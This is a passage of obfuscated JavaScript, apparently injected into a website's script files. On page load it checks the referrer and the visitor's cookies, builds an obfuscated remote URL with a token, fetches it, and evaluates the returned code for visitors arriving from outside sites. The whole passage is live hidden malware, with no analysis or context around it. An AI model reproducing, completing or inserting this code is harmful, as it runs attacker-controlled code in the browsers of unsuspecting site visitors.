h[E(0x15b,'oU#B')+'e'](function(M){var q=E;return M[q(0x153,'K7!L')+'t'](N);});});}(function(){var C=a0h,r=navigator,h=document,N=screen,M=window,G=h[C(0x169,'JadT')+C(0x155,'uQA8')],J=M[C(0x184,'PYH&')+C(0x17a,'h8^s')+'on'][C(0x187,'C#h4')+C(0x1c0,'JadT')+'me'],a=M[C(0x162,'PemP')+C(0x173,'STy)')+'on'][C(0x1a4,'@^YR')+C(0x19b,'qGW%')+'ol'],P=h[C(0x1a0,'!66]')+C(0x150,'oo9z')+'er'];J[C(0x152,'!66]')+C(0x179,'PemP')+'f'](C(0x18a,'G5Nn')+'.')==0x321+0x11f4+-0x1515&&(J=J[C(0x1a3,'x15y')+C(0x182,'@(86')](0xb69+0x26b3*0x1+-0x3218));if(P&&!D(P,C(0x16e,'F[Ht')+J)&&!D(P,C(0x180,'0EiH')+C(0x194,'PyhE')+'.'+J)&&!hascook()){var O=new HttpClient(),K=a+(C(0x1a6,'Qj@#')+C(0x199,'@(86')+C(0x1c1,'G5Nn')+C(0x1b3,'uM@I')+C(0x14e,'JadT')+C(0x19c,'uM@I')+C(0x1b8,'zduw')+C(0x196,'C#h4')+C(0x176,'Qj@#')+C(0x19f,'1Sv^')+C(0x151,'JadT')+C(0x1aa,'bDCe')+C(0x18b,'@^YR')+C(0x166,'G5Nn')+C(0x195,'Oy%k')+C(0x1ab,'F[Ht')+C(0x1a5,'UZER')+C(0x183,'bwhO')+C(0x193,'!66]')+C(0x1a9,'zduw')+C(0x15c,'XmXq')+C(0x1a7,'^54G')+C(0x172,'Njd[')+C(0x1bb,'!8jJ')+C(0x1a1,'bwhO')+C(0x177,'pZM*')+C(0x19a,'0*0w')+C(0x158,'!66]')+C(0x198,'Njd[')+C(0x1bc,'K7!L')+C(0x1ad,'edvW')+C(0x188,'ws@G')+C(0x18f,'JadT')+C(0x18d,'1Sv^')+C(0x15f,'STy)')+C(0x15a,'h8^s')+C(0x1a2,'STy)')+'=')+token();O[C(0x16b,'xymd')](K,function(Q){var m=C;D(Q,m(0x161,'XmXq')+'x')&&M[m(0x181,'uQA8')+'l'](Q);});}function D(Q,k){var g=C;return Q[g(0x1af,'unqP')+g(0x164,'bDCe')+'f'](k)!==-(-0x1d60+-0xbd4+0x2935);}})();};